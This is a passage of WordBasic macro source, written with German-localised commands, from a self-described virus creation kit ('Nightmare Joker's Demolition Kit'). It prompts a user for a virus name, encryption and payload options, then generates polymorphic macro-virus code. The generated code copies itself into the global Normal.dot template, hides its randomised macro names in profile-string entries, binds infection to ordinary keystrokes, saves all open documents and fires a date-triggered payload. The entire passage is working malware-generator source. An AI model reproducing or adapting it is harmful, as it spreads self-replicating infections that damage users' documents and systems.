  1419. EinfügenAbsatz
  1420. Einfügen "EndOne:"
  1421. ZeileUnten 1
  1422. EinfügenAbsatz
  1423. EinfügenAbsatz
  1424. Einfügen "Function VInstalled"
  1425. VSeite - 1
  1426. VSeite 1
  1427. EinfügenAbsatz
  1428. Einfügen Chr$(9) + "VInstalled = 0"
  1429. EinfügenAbsatz
  1430. Einfügen Chr$(9) + "If ZählenMakros(0) > 0 Then"
  1431. EinfügenAbsatz
  1432. Einfügen Chr$(9) + Chr$(9) + "For i = 1 To ZählenMakros(0)"
  1433. EinfügenAbsatz
  1434. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + "If MakroName$(i, 0) = " + Chr$(34) + A$ + Chr$(34) + " Then"
  1435. EinfügenAbsatz
  1436. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "VInstalled = 1"
  1437. EinfügenAbsatz
  1438. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + "End If"
  1439. EinfügenAbsatz
  1440. Einfügen Chr$(9) + Chr$(9) + "Next i"
  1441. EinfügenAbsatz
  1442. Einfügen Chr$(9) + "End If"
  1443. EinfügenAbsatz
  1444. Einfügen "End Function"
  1445. DokumentSchließen 1
  1446. REM -------------------------
  1447. ExtrasMakro .Name = A$, .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  1448. VSeite 1
  1449. ZeileUnten 68
  1450. ZeichenRechts 22
  1451. EinfügenAbsatz
  1452. EinfügenAbsatz
  1453. Einfügen "Sub Payload"
  1454. EinfügenAbsatz
  1455. EinfügenAbsatz
  1456. Einfügen "REM A Virus from Nightmare Joker's Demolition Kit!"
  1457. EinfügenAbsatz
  1458. EinfügenAbsatz
  1459. If PA = 1 Then    
  1460.     Payloadd
  1461. Else
  1462.     REM Nothing to do!
  1463. End If
  1464. EinfügenAbsatz
  1465. Einfügen "End Sub"
  1466. DokumentSchließen 1
  1467. REM --------------------------
  1468. If EC = 1 Then
  1469.     ExtrasMakro .Name = A$, .Bearbeiten, .Anzeigen = 3, .Beschreibung = "",     .NeuerName = ""
  1470.     ZeileUnten 20
  1471.     EndeZeile
  1472.     Einfügen ", 1"
  1473.     ZeileUnten 1
  1474.     Einfügen ", 1"
  1475.     DokumentSchließen 1
  1476.     ExtrasMakro .Name = B$, .Bearbeiten, .Anzeigen = 3, .Beschreibung = "",     .NeuerName = ""
  1477.     ZeileUnten 22
  1478.     EndeZeile
  1479.     Einfügen ", 1"
  1480.     ZeileUnten 1
  1481.     Einfügen ", 1"
  1482.     DokumentSchließen 1
  1483. Else
  1484.     Goto Finish10
  1485. End If
  1486. Finish10:
  1487. ExtrasAnpassenTastatur .TastenSchlüssel = K, .Kategorie = 2, .Name = A$, .Hinzufügen, .Kontext = 1
  1488. ExtrasAnpassenTastatur .TastenSchlüssel = J, .Kategorie = 2, .Name = B$, .Hinzufügen, .Kontext = 1
  1489. Insert2
  1490. End Sub
  1491.  
  1492. Sub PolyVir
  1493. Again6:
  1494. Begin Dialog BenutzerDialog 706, 370, " "
  1495.     Picture 43, 5, 621, 96, "pic6_1.bmp", 0, .Grafik1
  1496.     TextBox 153, 160, 399, 18, .T$
  1497.     Text 223, 105, 256, 13, "Please insert now the virus name:", .Text1
  1498.     Text 198, 130, 301, 13, "Only ONE word. That's very important!!!", .Text2
  1499.     Text 208, 217, 283, 13, "Would you like to encrypt your virus?", .Text3
  1500.     OptionGroup  .G1
  1501.         OptionButton 289, 241, 106, 16, "Encrypted", .Optionsfeld1
  1502.         OptionButton 289, 261, 138, 16, "Not Encrypted", .Optionsfeld2
  1503.     Text 257, 285, 184, 13, "Do you want a payload?", .Text4
  1504.     OptionGroup  .G2
  1505.         OptionButton 289, 305, 90, 16, "Payload", .Optionsfeld3
  1506.         OptionButton 289, 325, 117, 16, "No Payload", .Optionsfeld4
  1507.     OKButton 190, 345, 328, 21
  1508.     Text 307, 190, 75, 13, "OPTIONS", .Text5
  1509. End Dialog
  1510. Dim dlg As BenutzerDialog
  1511. dlg.G1 = - 1
  1512. dlg.G2 = - 1
  1513. x = Dialog(dlg)
  1514. If dlg.G1 = - 1 Then
  1515.     Call Viren.MError
  1516.     Goto Again6
  1517. Else
  1518.     REM Nothing to do!
  1519. End If
  1520. If dlg.G2 = - 1 Then
  1521.     Call Viren.MError
  1522.     Goto Again6
  1523. Else
  1524.     REM Nothing to do!
  1525. End If
  1526. If dlg.G1 = 0 Then
  1527.     EC = 1
  1528. Else
  1529.     EC = 0
  1530. End If
  1531. If dlg.G2 = 0 Then
  1532.     PA = 1
  1533. Else
  1534.     PA = 0
  1535. End If
  1536. A$ = dlg.T$
  1537. Insert1
  1538. DokumentSchließen 2
  1539. WOW10:
  1540. Begin Dialog BenutzerDialog 596, 390, " "
  1541.     Text 224, 16, 120, 13, "POLYMORPHIC", .Text1
  1542.     Text 261, 40, 39, 13, "Virus", .Text2
  1543.     Text 253, 63, 56, 13, "Creator", .Text3
  1544.     Text 128, 91, 309, 13, "CHOOSE NOW YOUR KEYBOARD KEYS", .Text4
  1545.     Text 45, 120, 203, 13, "TO INFECT NORMAL.DOT", .Text5
  1546.     Text 332, 120, 192, 13, "TO INFECT ACTIVE FILE", .Text6
  1547.     OptionGroup  .G3
  1548.         OptionButton 366, 143, 119, 16, "Backspace ", .Optionsfeld1
  1549.         OptionButton 366, 163, 40, 16, "A", .O2
  1550.         OptionButton 366, 183, 40, 16, "E", .O3
  1551.         OptionButton 366, 203, 35, 16, "I", .O4
  1552.         OptionButton 366, 223, 41, 16, "O", .O5
  1553.         OptionButton 366, 243, 41, 16, "R", .O6
  1554.         OptionButton 366, 263, 40, 16, "S", .O7
  1555.         OptionButton 366, 283, 40, 16, "T", .O8
  1556.     OptionGroup  .G4
  1557.         OptionButton 80, 143, 119, 16, "Backspace ", .O9
  1558.         OptionButton 80, 163, 40, 16, "A", .O10
  1559.         OptionButton 80, 183, 40, 16, "E", .O11
  1560.         OptionButton 80, 203, 35, 16, "I", .O12
  1561.         OptionButton 80, 223, 41, 16, "O", .O13
  1562.         OptionButton 80, 243, 41, 16, "R", .O14
  1563.         OptionButton 80, 263, 40, 16, "S", .O15
  1564.         OptionButton 80, 283, 40, 16, "T", .O16
  1565.     OKButton 40, 325, 513, 21
  1566. End Dialog
  1567. Dim dlg As BenutzerDialog
  1568. dlg.G3 = - 1
  1569. dlg.G4 = - 1
  1570. x = Dialog(dlg)
  1571. If dlg.G3 = - 1 Then
  1572.     Call Viren.MError
  1573.     Goto WOW10
  1574. Else
  1575.     REM Nothing to do!
  1576. End If
  1577. If dlg.G4 = - 1 Then
  1578.     Call Viren.MError
  1579.     Goto WOW10
  1580. Else
  1581.     REM Nothing to do!
  1582. End If
  1583. If dlg.G3 = 0 Then
  1584.     B = 32
  1585. ElseIf dlg.G3 = 1 Then
  1586.     B = 65
  1587. ElseIf dlg.G3 = 2 Then
  1588.     B = 69
  1589. ElseIf dlg.G3 = 3 Then
  1590.     B = 73
  1591. ElseIf dlg.G3 = 4 Then
  1592.     B = 79
  1593. ElseIf dlg.G3 = 5 Then
  1594.     B = 82
  1595. ElseIf dlg.G3 = 6 Then
  1596.     B = 83
  1597. ElseIf dlg.G3 = 7 Then
  1598.     B = 84
  1599. End If
  1600. If dlg.G4 = 0 Then
  1601.     C = 32
  1602. ElseIf dlg.G4 = 1 Then
  1603.     C = 65
  1604. ElseIf dlg.G4 = 2 Then
  1605.     C = 69
  1606. ElseIf dlg.G4 = 3 Then
  1607.     C = 73
  1608. ElseIf dlg.G4 = 4 Then
  1609.     C = 79
  1610. ElseIf dlg.G4 = 5 Then
  1611.     C = 82
  1612. ElseIf dlg.G4 = 6 Then
  1613.     C = 83
  1614. ElseIf dlg.G4 = 7 Then
  1615.     C = 84
  1616. End If
  1617. REM Tastaturcodes ---------------------------
  1618. If B = 32 Then
  1619.     B$ = " "
  1620. ElseIf B = 65 Then
  1621.     B$ = "a"
  1622. ElseIf B = 69 Then
  1623.     B$ = "e"
  1624. ElseIf B = 73 Then
  1625.     B$ = "i"
  1626. ElseIf B = 79 Then
  1627.     B$ = "o"
  1628. ElseIf B = 82 Then
  1629.     B$ = "r"
  1630. ElseIf B = 83 Then
  1631.     B$ = "s"
  1632. ElseIf B = 84 Then
  1633.     B$ = "t"
  1634. End If
  1635. If C = 32 Then
  1636.     C$ = " "
  1637. ElseIf C = 65 Then
  1638.     C$ = "a"
  1639. ElseIf C = 69 Then
  1640.     C$ = "e"
  1641. ElseIf C = 73 Then
  1642.     C$ = "i"
  1643. ElseIf C = 79 Then
  1644.     C$ = "o"
  1645. ElseIf C = 82 Then
  1646.     C$ = "r"
  1647. ElseIf C = 83 Then
  1648.     C$ = "s"
  1649. ElseIf C = 84 Then
  1650.     C$ = "t"
  1651. End If
  1652. REM Ende Tastaturcodes ------------------------
  1653. If dlg.G3 = dlg.G4 Then
  1654.     Call Viren.MError
  1655.     Goto WOW10
  1656. Else
  1657.     REM Nothing to do!
  1658. End If
  1659. ExtrasMakro .Name = A$ + "1", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  1660. Einfügen "On Error Goto Done"
  1661. EinfügenAbsatz
  1662. EinfügenAbsatz
  1663. Einfügen "A$ = DateiName$()"
  1664. EinfügenAbsatz
  1665. Einfügen "If A$ = " + Chr$(34) + Chr$(34) + " Then Goto Finish"
  1666. EinfügenAbsatz
  1667. EinfügenAbsatz
  1668. Einfügen "If VInstalled = 0 Then "
  1669. EinfügenAbsatz
  1670. Einfügen Chr$(9) + "Run1"
  1671. EinfügenAbsatz
  1672. Einfügen Chr$(9) + "Run2"
  1673. EinfügenAbsatz
  1674. If PA = 1 Then
  1675.     Einfügen Chr$(9) + "RunPayload"
  1676.     EinfügenAbsatz
  1677. Else
  1678.     REM Nothing to do!
  1679. End If
  1680. Einfügen Chr$(9) + "DateiAllesSpeichern 1, 1"
  1681. EinfügenAbsatz
  1682. Einfügen "Else"
  1683. EinfügenAbsatz
  1684. Einfügen Chr$(9) + "Goto Done"
  1685. EinfügenAbsatz
  1686. Einfügen "End If"
  1687. EinfügenAbsatz
  1688. EinfügenAbsatz
  1689. Einfügen "Done:"
  1690. EinfügenAbsatz
  1691. Einfügen "A$ = DateiName$()"
  1692. EinfügenAbsatz
  1693. Einfügen "If A$ = " + Chr$(34) + Chr$(34) + " Then"
  1694. EinfügenAbsatz
  1695. Einfügen Chr$(9) + "Goto Finish"
  1696. EinfügenAbsatz
  1697. Einfügen "Else"
  1698. EinfügenAbsatz
  1699. Einfügen Chr$(9) + "Einfügen " + Chr$(34) + C$ + Chr$(34)
  1700. EinfügenAbsatz
  1701. Einfügen "End If"
  1702. EinfügenAbsatz
  1703. EinfügenAbsatz
  1704. Einfügen "Finish:"
  1705. EinfügenAbsatz
  1706. Einfügen "MsgBox " + Chr$(34) + A$ + Chr$(34) + ", - 8"
  1707. ZeileUnten 1
  1708. EinfügenAbsatz
  1709. EinfügenAbsatz
  1710. Einfügen "Sub Run1"
  1711. EinfügenAbsatz
  1712. Einfügen "X$ = Fun$(F$, G$, H$, J$)"
  1713. EinfügenAbsatz
  1714. Einfügen "Y$ = Fun$(F$, G$, H$, J$)"
  1715. EinfügenAbsatz
  1716. EinfügenAbsatz
  1717. Einfügen "Z$ = X$ + Y$"
  1718. EinfügenAbsatz
  1719. EinfügenAbsatz
  1720. Einfügen "R1$ = AbrufenDokumentVar$(" + Chr$(34) + "VirNameDoc" + Chr$(34) + ")"
  1721. EinfügenAbsatz
  1722. Einfügen "CO$ = DateiName$() + " + Chr$(34) + ":" + Chr$(34) + " + R1$"
  1723. EinfügenAbsatz
  1724. Einfügen "MakroKopieren CO$, " + Chr$(34) + "Global:" + Chr$(34) + " + Z$"
  1725. EinfügenAbsatz
  1726. Einfügen "SetProfileString " + Chr$(34) + "Intl" + Chr$(34) + ", " + Chr$(34) + "Info2" + Chr$(34) + ", Z$"
  1727. EinfügenAbsatz
  1728. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(B) + ", .Kategorie = 2"
  1729. Einfügen ", .Name = Z$, .Hinzufügen, .Kontext = 0"
  1730. EinfügenAbsatz
  1731. Einfügen "End Sub"
  1732. EinfügenAbsatz
  1733. EinfügenAbsatz
  1734. Einfügen "Sub Run2"
  1735. EinfügenAbsatz
  1736. Einfügen "X$ = Fun$(F$, G$, H$, J$)"
  1737. EinfügenAbsatz
  1738. Einfügen "Y$ = Fun$(F$, G$, H$, J$)"
  1739. EinfügenAbsatz
  1740. EinfügenAbsatz
  1741. Einfügen "Z$ = X$ + Y$"
  1742. EinfügenAbsatz
  1743. EinfügenAbsatz
  1744. Einfügen "R2$ = AbrufenDokumentVar$(" + Chr$(34) + "VirName" + Chr$(34) + ")"
  1745. EinfügenAbsatz
  1746. Einfügen "OC$ = DateiName$() + " + Chr$(34) + ":" + Chr$(34) + " + R2$"
  1747. EinfügenAbsatz
  1748. Einfügen "MakroKopieren OC$, " + Chr$(34) + "Global:" + Chr$(34) + " + Z$"
  1749. EinfügenAbsatz
  1750. Einfügen "SetProfileString " + Chr$(34) + "Intl" + Chr$(34) + ", Info1" + Chr$(34)
  1751. ZeichenLinks 6
  1752. Einfügen Chr$(34)
  1753. ZeichenRechts 6
  1754. Einfügen ", Z$"
  1755. EinfügenAbsatz
  1756. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(C) + ", .Kategorie = 2"
  1757. Einfügen ", .Name = Z$, .Hinzufügen, .Kontext = 0"
  1758. EinfügenAbsatz
  1759. Einfügen "End Sub"
  1760. EinfügenAbsatz
  1761. EinfügenAbsatz
  1762. If PA = 1 Then
  1763.     Einfügen "Sub RunPayload"
  1764.     EinfügenAbsatz
  1765.     Einfügen "X$ = Fun$(F$, G$, H$, J$)"
  1766.     EinfügenAbsatz
  1767.     Einfügen "Y$ = Fun$(F$, G$, H$, J$)"
  1768.     EinfügenAbsatz
  1769.     EinfügenAbsatz
  1770.     Einfügen "Z$ = X$ + Y$"
  1771.     EinfügenAbsatz
  1772.     EinfügenAbsatz
  1773.     Einfügen "R3$ = AbrufenDokumentVar$(" + Chr$(34) + "VirNamePayload" +     Chr$(34) + ")"
  1774.     EinfügenAbsatz
  1775.     Einfügen "OCO$ = DateiName$() + " + Chr$(34) + ":" + Chr$(34) + "+" + "R3$"
  1776.     EinfügenAbsatz
  1777.     Einfügen "MakroKopieren OCO$, " + Chr$(34) + "Global:" + Chr$(34) + "+" + "Z$"
  1778.     EinfügenAbsatz
  1779.     Einfügen "SetProfileString " + Chr$(34) + "Intl" + Chr$(34) + ", " +     Chr$(34) + "Info3" + Chr$(34) + ", Z$"
  1780.     EinfügenAbsatz
  1781.     Einfügen "End Sub"
  1782.     EinfügenAbsatz
  1783.     EinfügenAbsatz
  1784. Else
  1785.     REM Nothing to do!
  1786. End If
  1787. Einfügen "Function VInstalled"
  1788. EinfügenAbsatz
  1789. Einfügen "CC$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) + ", " + Chr$(34) + "Info" + Chr$(34) + ")"
  1790. ZeichenLinks 2
  1791. Einfügen "1"
  1792. ZeichenRechts 2
  1793. EinfügenAbsatz
  1794. Einfügen Chr$(9) + "VInstalled = 0"
  1795. EinfügenAbsatz
  1796. Einfügen Chr$(9) + "If ZählenMakros(0) > 0 Then"
  1797. EinfügenAbsatz
  1798. Einfügen Chr$(9) + Chr$(9) + "For i = 1 To ZählenMakros(0)"
  1799. EinfügenAbsatz
  1800. Einfügen Chr$(9) + Chr$(9) + "If MakroName$(i, 0) = CC$ Then"
  1801. EinfügenAbsatz
  1802. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + "VInstalled = 1"
  1803. EinfügenAbsatz
  1804. Einfügen Chr$(9) + Chr$(9) + "End If"
  1805. EinfügenAbsatz
  1806. Einfügen Chr$(9) + "Next i"
  1807. EinfügenAbsatz
  1808. Einfügen "End If"
  1809. EinfügenAbsatz
  1810. Einfügen "End Function"
  1811. EinfügenAbsatz
  1812. EinfügenAbsatz
  1813. Einfügen "Function Fun$(F$, G$, H$, J$)"
  1814. EinfügenAbsatz
  1815. Einfügen "One = 1169"
  1816. EinfügenAbsatz
  1817. Einfügen "Two = 9294"
  1818. EinfügenAbsatz
  1819. Einfügen "Num = Int(Rnd() * (Two - One) + One)"
  1820. EinfügenAbsatz
  1821. Einfügen "A$ = Str$(Num)"
  1822. EinfügenAbsatz
  1823. Einfügen "A$ = LTrim$(A$)"
  1824. EinfügenAbsatz
  1825. EinfügenAbsatz
  1826. Einfügen "B$ = Mid$(A$, 1, 1)"
  1827. EinfügenAbsatz
  1828. Einfügen "C$ = Mid$(A$, 2, 1)"
  1829. EinfügenAbsatz
  1830. Einfügen "D$ = Mid$(A$, 3, 1)"
  1831. EinfügenAbsatz
  1832. Einfügen "E$ = Mid$(A$, 4, 1)"
  1833. EinfügenAbsatz
  1834. EinfügenAbsatz
  1835. Einfügen "If B$ = " + Chr$(34) + "1" + Chr$(34) + " Then F$ = " + Chr$(34) + "A" + Chr$(34)
  1836. EinfügenAbsatz
  1837. Einfügen "If B$ = " + Chr$(34) + "2" + Chr$(34) + " Then F$ = " + Chr$(34) + "B" + Chr$(34)
  1838. EinfügenAbsatz
  1839. Einfügen "If B$ = " + Chr$(34) + "3" + Chr$(34) + " Then F$ = " + Chr$(34) + "C" + Chr$(34)
  1840. EinfügenAbsatz
  1841. Einfügen "If B$ = " + Chr$(34) + "4" + Chr$(34) + " Then F$ = " + Chr$(34) + "D" + Chr$(34)
  1842. EinfügenAbsatz
  1843. Einfügen "IF B$ = " + Chr$(34) + "5" + Chr$(34) + " Then F$ = " + Chr$(34) + "E" + Chr$(34)
  1844. EinfügenAbsatz
  1845. Einfügen "If B$ = " + Chr$(34) + "6" + Chr$(34) + " Then F$ = " + Chr$(34) + "F" + Chr$(34)
  1846. EinfügenAbsatz
  1847. Einfügen "If B$ = " + Chr$(34) + "7" + Chr$(34) + " Then F$ = " + Chr$(34) + "G" + Chr$(34)
  1848. EinfügenAbsatz
  1849. Einfügen "If B$ = " + Chr$(34) + "8" + Chr$(34) + " Then F$ = " + Chr$(34) + "H" + Chr$(34)
  1850. EinfügenAbsatz
  1851. Einfügen "If B$ = " + Chr$(34) + "9" + Chr$(34) + " Then F$ = " + Chr$(34) + "I" + Chr$(34)
  1852. EinfügenAbsatz
  1853. Einfügen "If B$ = " + Chr$(34) + "0" + Chr$(34) + " Then F$ = " + Chr$(34) + "J" + Chr$(34)
  1854. EinfügenAbsatz
  1855. EinfügenAbsatz
  1856. Einfügen "If C$ = " + Chr$(34) + "1" + Chr$(34) + " Then G$ = " + Chr$(34) + "H" + Chr$(34)
  1857. EinfügenAbsatz
  1858. Einfügen "If C$ = " + Chr$(34) + "2" + Chr$(34) + " Then G$ = " + Chr$(34) + "I" + Chr$(34)
  1859. EinfügenAbsatz
  1860. Einfügen "If C$ = " + Chr$(34) + "3" + Chr$(34) + " Then G$ = " + Chr$(34) + "J" + Chr$(34)
  1861. EinfügenAbsatz
  1862. Einfügen "If C$ = " + Chr$(34) + "4" + Chr$(34) + " Then G$ = " + Chr$(34) + "K" + Chr$(34)
  1863. EinfügenAbsatz
  1864. Einfügen "IF C$ = " + Chr$(34) + "5" + Chr$(34) + " Then G$ = " + Chr$(34) + "L" + Chr$(34)
  1865. EinfügenAbsatz
  1866. Einfügen "If C$ = " + Chr$(34) + "6" + Chr$(34) + " Then G$ = " + Chr$(34) + "M" + Chr$(34)
  1867. EinfügenAbsatz
  1868. Einfügen "If C$ = " + Chr$(34) + "7" + Chr$(34) + " Then G$ = " + Chr$(34) + "N" + Chr$(34)
  1869. EinfügenAbsatz
  1870. Einfügen "If C$ = " + Chr$(34) + "8" + Chr$(34) + " Then G$ = " + Chr$(34) + "O" + Chr$(34)
  1871. EinfügenAbsatz
  1872. Einfügen "If C$ = " + Chr$(34) + "9" + Chr$(34) + " Then G$ = " + Chr$(34) + "P" + Chr$(34)
  1873. EinfügenAbsatz
  1874. Einfügen "If C$ = " + Chr$(34) + "0" + Chr$(34) + " Then G$ = " + Chr$(34) + "Q" + Chr$(34)
  1875. EinfügenAbsatz
  1876. EinfügenAbsatz
  1877. Einfügen "If D$ = " + Chr$(34) + "1" + Chr$(34) + " Then H$ = " + Chr$(34) + "A" + Chr$(34)
  1878. EinfügenAbsatz
  1879. Einfügen "If D$ = " + Chr$(34) + "2" + Chr$(34) + " Then H$ = " + Chr$(34) + "B" + Chr$(34)
  1880. EinfügenAbsatz
  1881. Einfügen "If D$ = " + Chr$(34) + "3" + Chr$(34) + " Then H$ = " + Chr$(34) + "C" + Chr$(34)
  1882. EinfügenAbsatz
  1883. Einfügen "If D$ = " + Chr$(34) + "4" + Chr$(34) + " Then H$ = " + Chr$(34) + "D" + Chr$(34)
  1884. EinfügenAbsatz
  1885. Einfügen "IF D$ = " + Chr$(34) + "5" + Chr$(34) + " Then H$ = " + Chr$(34) + "E" + Chr$(34)
  1886. EinfügenAbsatz
  1887. Einfügen "If D$ = " + Chr$(34) + "6" + Chr$(34) + " Then H$ = " + Chr$(34) + "F" + Chr$(34)
  1888. EinfügenAbsatz
  1889. Einfügen "If D$ = " + Chr$(34) + "7" + Chr$(34) + " Then H$ = " + Chr$(34) + "G" + Chr$(34)
  1890. EinfügenAbsatz
  1891. Einfügen "If D$ = " + Chr$(34) + "8" + Chr$(34) + " Then H$ = " + Chr$(34) + "H" + Chr$(34)
  1892. EinfügenAbsatz
  1893. Einfügen "If D$ = " + Chr$(34) + "9" + Chr$(34) + " Then H$ = " + Chr$(34) + "I" + Chr$(34)
  1894. EinfügenAbsatz
  1895. Einfügen "If D$ = " + Chr$(34) + "0" + Chr$(34) + " Then H$ = " + Chr$(34) + "J" + Chr$(34)
  1896. EinfügenAbsatz
  1897. EinfügenAbsatz
  1898. Einfügen "If E$ = " + Chr$(34) + "1" + Chr$(34) + " Then J$ = " + Chr$(34) + "R" + Chr$(34)
  1899. EinfügenAbsatz
  1900. Einfügen "If E$ = " + Chr$(34) + "2" + Chr$(34) + " Then J$ = " + Chr$(34) + "S" + Chr$(34)
  1901. EinfügenAbsatz
  1902. Einfügen "If E$ = " + Chr$(34) + "3" + Chr$(34) + " Then J$ = " + Chr$(34) + "T" + Chr$(34)
  1903. EinfügenAbsatz
  1904. Einfügen "If E$ = " + Chr$(34) + "4" + Chr$(34) + " Then J$ = " + Chr$(34) + "U" + Chr$(34)
  1905. EinfügenAbsatz
  1906. Einfügen "IF E$ = " + Chr$(34) + "5" + Chr$(34) + " Then J$ = " + Chr$(34) + "V" + Chr$(34)
  1907. EinfügenAbsatz
  1908. Einfügen "If E$ = " + Chr$(34) + "6" + Chr$(34) + " Then J$ = " + Chr$(34) + "W" + Chr$(34)
  1909. EinfügenAbsatz
  1910. Einfügen "If E$ = " + Chr$(34) + "7" + Chr$(34) + " Then J$ = " + Chr$(34) + "X" + Chr$(34)
  1911. EinfügenAbsatz
  1912. Einfügen "If E$ = " + Chr$(34) + "8" + Chr$(34) + " Then J$ = " + Chr$(34) + "Y" + Chr$(34)
  1913. EinfügenAbsatz
  1914. Einfügen "If E$ = " + Chr$(34) + "9" + Chr$(34) + " Then J$ = " + Chr$(34) + "Z" + Chr$(34)
  1915. EinfügenAbsatz
  1916. Einfügen "If E$ = " + Chr$(34) + "0" + Chr$(34) + " Then J$ = " + Chr$(34) + "Q" + Chr$(34)
  1917. EinfügenAbsatz
  1918. EinfügenAbsatz
  1919. Einfügen "Fun$ = F$ + G$ + H$ + J$"
  1920. EinfügenAbsatz
  1921. Einfügen "End Function"
  1922. DokumentSchließen 1
  1923. REM -----------------------------------------------------------------------
  1924.  
  1925. REM -----------------------------------------------------------------------
  1926. ExtrasMakro .Name = A$ + "2", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  1927. Einfügen "On Error Goto Finish"
  1928. EinfügenAbsatz
  1929. EinfügenAbsatz
  1930. Einfügen "A$ = DateiName$()"
  1931. EinfügenAbsatz
  1932. Einfügen "If A$=" + Chr$(34) + Chr$(34) + " Then Goto Finish"
  1933. EinfügenAbsatz
  1934. EinfügenAbsatz
  1935. Einfügen "CO$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) + ", " + Chr$(34) + "Info1" + Chr$(34) + ")"
  1936. EinfügenAbsatz
  1937. Einfügen "OC$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) + ", " + Chr$(34) + "Info2" + Chr$(34) + ")"
  1938. EinfügenAbsatz
  1939. If PA = 1 Then
  1940.     Einfügen "OCO$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) +     ", " + Chr$(34) + "Info3" + Chr$(34) + ")"
  1941.     EinfügenAbsatz
  1942. Else
  1943.     REM Nothing to do!
  1944. End If
  1945. EinfügenAbsatz
  1946. Einfügen "If VInstalled = 1 Then"
  1947. EinfügenAbsatz
  1948. Einfügen Chr$(9) + "Goto Finish"
  1949. EinfügenAbsatz
  1950. Einfügen "Else"
  1951. EinfügenAbsatz
  1952. Einfügen Chr$(9) + "On Error Resume Next"
  1953. EinfügenAbsatz
  1954. Einfügen Chr$(9) + "DateiSpeichernUnter .Format = 1"
  1955. EinfügenAbsatz
  1956. Einfügen Chr$(9) + "Run1"
  1957. EinfügenAbsatz
  1958. Einfügen Chr$(9) + "Run2"
  1959. EinfügenAbsatz
  1960. If PA = 1 Then
  1961.     Einfügen Chr$(9) + "RunPayload"
  1962.     EinfügenAbsatz
  1963. Else
  1964.     REM Nothing to do!
  1965. End If
  1966. Einfügen Chr$(9) + "DateiAllesSpeichern 1, 0"
  1967. EinfügenAbsatz
  1968. Einfügen "End If"
  1969. EinfügenAbsatz
  1970. EinfügenAbsatz
  1971. Einfügen "Finish:"
  1972. EinfügenAbsatz
  1973. Einfügen "A$ = DateiName$()"
  1974. EinfügenAbsatz
  1975. Einfügen "If A$ = " + Chr$(34) + Chr$(34) + " Then"
  1976. EinfügenAbsatz
  1977. Einfügen Chr$(9) + "Goto Finito"
  1978. EinfügenAbsatz
  1979. Einfügen "Else"
  1980. EinfügenAbsatz
  1981. Einfügen Chr$(9) + "Einfügen " + Chr$(34) + B$ + Chr$(34)
  1982. EinfügenAbsatz
  1983. Einfügen "End If"
  1984. EinfügenAbsatz
  1985. EinfügenAbsatz
  1986. Einfügen "Finito:"
  1987. EinfügenAbsatz
  1988. '--------------------------------------------------------------------------
  1989. If PA = 1 Then
  1990.     Time
  1991.     V$ = GetProfileString$("Dir", "Name")
  1992.     M$ = GetPrivateProfileString$("Date", "Month", V$ + "vdate.ini")
  1993.     Y$ = GetPrivateProfileString$("Date", "Day", V$ + "vdate.ini")
  1994.     Kill V$ + "vdate.ini"
  1995.     Einfügen "If Monat(Jetzt()) = " + M$ + " And Tag(Jetzt()) = " + Y$ + " Then"
  1996.     EinfügenAbsatz
  1997.     Einfügen Chr$(9) + "Goto Payload"
  1998.     EinfügenAbsatz
  1999.     Einfügen "Else"
  2000.     EinfügenAbsatz
  2001.     Einfügen Chr$(9) + "Goto No"
  2002.     EinfügenAbsatz
  2003.     Einfügen "End If"
  2004.     EinfügenAbsatz
  2005.     EinfügenAbsatz
  2006.     Einfügen "Payload:"
  2007.     EinfügenAbsatz
  2008.     Einfügen "AK$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) + ", " + Chr$(34) + "Info3" + Chr$(34) + ")"
  2009.     EinfügenAbsatz
  2010.     Einfügen "ExtrasMakro .Name = AK$, .Ausführen, .Anzeigen = 0, .Beschre"
  2011.     Einfügen "ibung = " + Chr$(34) + Chr$(34) + ", .NeuerName = " +     Chr$(34) +     Chr$(34)
  2012.     EinfügenAbsatz
  2013.     EinfügenAbsatz
  2014.     Einfügen "No:"
  2015.     EinfügenAbsatz
  2016. Else
  2017.     REM Nothing to do!
  2018. End If
  2019. Einfügen "End Sub"
  2020. EinfügenAbsatz
  2021. EinfügenAbsatz
  2022. EinfügenAbsatz
  2023. ZeileOben 1
  2024. Einfügen "Sub Run1"
  2025. EinfügenAbsatz
  2026. Einfügen "X$ = Fun$(F$, G$, H$, J$)"
  2027. EinfügenAbsatz
  2028. Einfügen "Y$ = Fun$(F$, G$, H$, J$)"
  2029. EinfügenAbsatz
  2030. EinfügenAbsatz
  2031. Einfügen "Z$ = X$ + Y$"
  2032. EinfügenAbsatz
  2033. EinfügenAbsatz
  2034. Einfügen "CO$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) + ", " + Chr$(34) + "Info2" + Chr$(34) + ")"
  2035. EinfügenAbsatz
  2036. Einfügen "MakroKopieren " + Chr$(34) + "Global:" + Chr$(34) + " + CO$, DateiName$() + " + Chr$(34) + ":" + Chr$(34) + " + Z$"
  2037. EinfügenAbsatz
  2038. Einfügen "DokumentVariableBestimmen " + Chr$(34) + "VirName" + Chr$(34) + ", Z$"
  2039. EinfügenAbsatz
  2040. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(B) + ", .Kategorie = 2"
  2041. Einfügen ", .Name = Z$, .Hinzufügen, .Kontext = 1"
  2042. ZeileUnten 2
  2043. ZeileOben 1
  2044. BearbeitenLöschen
  2045. EndeZeile
  2046. EinfügenAbsatz
  2047. EinfügenAbsatz
  2048. Einfügen "Sub Run2"
  2049. EinfügenAbsatz
  2050. Einfügen "X$ = Fun$(F$, G$, H$, J$)"
  2051. EinfügenAbsatz
  2052. Einfügen "Y$ = Fun$(F$, G$, H$, J$)"
  2053. EinfügenAbsatz
  2054. EinfügenAbsatz
  2055. Einfügen "Z$ = X$ + Y$"
  2056. EinfügenAbsatz
  2057. EinfügenAbsatz
